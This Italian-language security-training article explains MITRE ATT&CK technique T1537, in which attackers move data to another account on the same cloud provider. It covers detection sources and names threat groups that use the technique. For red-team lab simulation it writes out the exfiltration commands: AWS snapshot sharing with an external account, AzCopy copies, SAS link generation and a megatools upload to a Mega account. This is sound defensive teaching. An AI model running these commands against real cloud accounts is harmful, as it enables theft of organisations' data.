Esfiltrazione Cross-Account Cloud: Transfer Data to Cloud Account (T1537)
La tecnica T1537 - Transfer Data to Cloud Account descrive un metodo di esfiltrazione in cui l'attaccante sposta dati verso un altro account controllato sullo stesso provider cloud, invece di trasferirli fuori dall'ambiente attraverso canali di rete tradizionali. Questo approccio sfrutta le API native del provider e lo spazio di indirizzamento interno, rendendo il traffico indistinguibile dalle normali operazioni di sincronizzazione o backup.
La collocazione nella tattica TA0010 (Exfiltration) riflette il posizionamento finale nella kill chain, tipicamente dopo fasi di Discovery e Collection. Il difensore che monitora principalmente egress verso Internet o traffico C2 rischia di non intercettare il trasferimento, poiché snapshot condivisi tra account AWS, SAS URI in Azure o link anonimi in Microsoft 365 restano confinati nel perimetro logico del provider.
L'impatto è amplificato dalla scalabilità: un attaccante può copiare interi bucket S3, snapshot EBS multi-terabyte o export di database in pochi minuti tramite strumenti come AzCopy o MegaSync. I gruppi documentati che sfruttano attivamente T1537 includono INC Ransom, RedCurl e Storm-0501, con una prevalenza in campagne ransomware e cyber-espionage dove il furto dati precede l'attivazione del payload distruttivo. La detection richiede visibilità sui log del control plane cloud (CloudTrail, Azure Activity Log, M365 Unified Audit) e policy DLP integrate con le piattaforme SaaS.
La simulazione di T1537 in laboratorio richiede un tenant cloud dedicato e un secondo account "attaccante" sullo stesso provider. L'obiettivo è verificare se il SOC rileva trasferimenti cross-account che restano nel perimetro logico del provider.
Su AWS, uno scenario tipico parte dalla creazione di uno snapshot EBS del volume target seguito dalla condivisione con un account esterno controllato. La sequenza operativa usa AWS CLI (open source):
aws ec2 create-snapshot --volume-id vol-xxxx --description "backup"
aws ec2 modify-snapshot-attribute --snapshot-id snap-xxxx --attribute createVolumePermission --operation-type add --user-ids 123456789012
Per bucket S3, la modifica di una bucket policy che consente s3:GetObject a un principal esterno replica il pattern osservato in incidenti reali. In alternativa, si genera un presigned URL con aws s3 presign per simulare la condivisione temporanea.
Su Azure, il tool documentato in campagne reali è AzCopy (open source, Microsoft), utilizzato da Storm-0501 per copiare storage account verso infrastruttura controllata. Il comando base è:
azcopy copy "https-source-blob" "https-dest-blob" --recursive
La generazione di un SAS URI con permessi ampi tramite Azure Portal o az storage container generate-sas (Azure CLI, open source) permette di simulare l'esfiltrazione tramite link firmato senza autenticazione ulteriore.
Per Microsoft 365, la creazione di link di condivisione anonimi su OneDrive/SharePoint via Graph API replica il pattern SaaS. Uno script PowerShell con modulo Microsoft.Graph (open source) può automatizzare la creazione di sharing link su file marcati come sensibili.
Per emulare RedCurl e INC Ransom che usano Mega, si impiegano megatools (open source) o il client MEGAsync (freemium). Il comando megatools put --path /Root/exfil file.zip carica dati su un account Mega controllato, testando egress verso servizi cloud consumer spesso non filtrati.
Framework di supporto per red team includono Stratus Red Team (open source, DataDog) che ha moduli specifici per snapshot sharing AWS (aws.exfiltration.ec2-share-ebs-snapshot) e Pacu (open source, Rhino Security Labs) con moduli ebs__explore_snapshots e s3__download_bucket. Su Azure, PowerZure (open source) e MicroBurst (open source) automatizzano enumerazione e abuso di storage account. La regola operativa è sempre isolare gli account di test in una OU/subscription dedicata con budget alert per evitare costi imprevisti da trasferimenti massivi.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo